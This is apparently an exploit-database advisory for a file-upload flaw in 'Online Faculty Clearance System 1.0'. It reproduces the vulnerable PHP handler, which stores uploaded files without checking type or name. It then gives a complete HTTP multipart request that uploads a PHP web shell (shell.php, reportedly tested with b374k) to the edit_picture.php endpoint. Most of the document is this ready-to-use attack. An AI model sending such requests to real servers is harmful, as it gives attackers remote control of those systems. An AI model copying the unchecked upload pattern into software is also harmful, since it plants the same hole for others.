Online Faculty Clearance System version 1.0 suffers from a remote shell upload vulnerability.
79bc85565f117cac4e713d381f853d87# Exploit Title: Online Faculty Clearance System Shell Upload
# Exploit Author: th3d1gger
# Vendor Homepage: https://sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/onlineclearance_0.zip
# Version: 1.0
# Tested on Windows 10
@Vulnerable Source Code
-------------------------------------------------------
<?php
if(isset($_POST['files']))
{
$a = $_FILES['file']['name'];
$ab = $_FILES['file']['tmp_name'];
$location = "".$a;
move_uploaded_file($ab, "../requirements/".$location);
// $sql = $conn->prepare("INSERT INTO requirement (file) VALUES (?)");
// $sql->execute(array($location));
$userid = $_SESSION['id'];
$a = $conn->lastInsertId();
// $sql1 = $conn->prepare("INSERT INTO req_faculty (id,req_id,file) VALUES (?,?,?)");
// $sql1->execute(array($userid,$a,$location));
$sql2 = $conn->prepare("UPDATE faculty SET faculty_picture = ? WHERE id = ?");
$sql2->execute(array($location,$userid));
if($sql){
echo '
<script>
window.location = "edit_picture.php"
</script>';
}
}
?>
@attack request
-----------------------ShellUpload---------------------------
POST /production/edit_picture.php HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------304272295614074513932150381645
Content-Length: 171193
Origin: http://192.168.1.5
Connection: close
Referer: http://192.168.1.5/production/edit_picture.php
Cookie: PHPSESSID=33m58omrnhv63lll47tsfqsvfn
Upgrade-Insecure-Requests: 1
-----------------------------304272295614074513932150381645
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php
tested with b374k ?>
-----------------------------304272295614074513932150381645
Content-Disposition: form-data; name="files"
-----------------------------304272295614074513932150381645--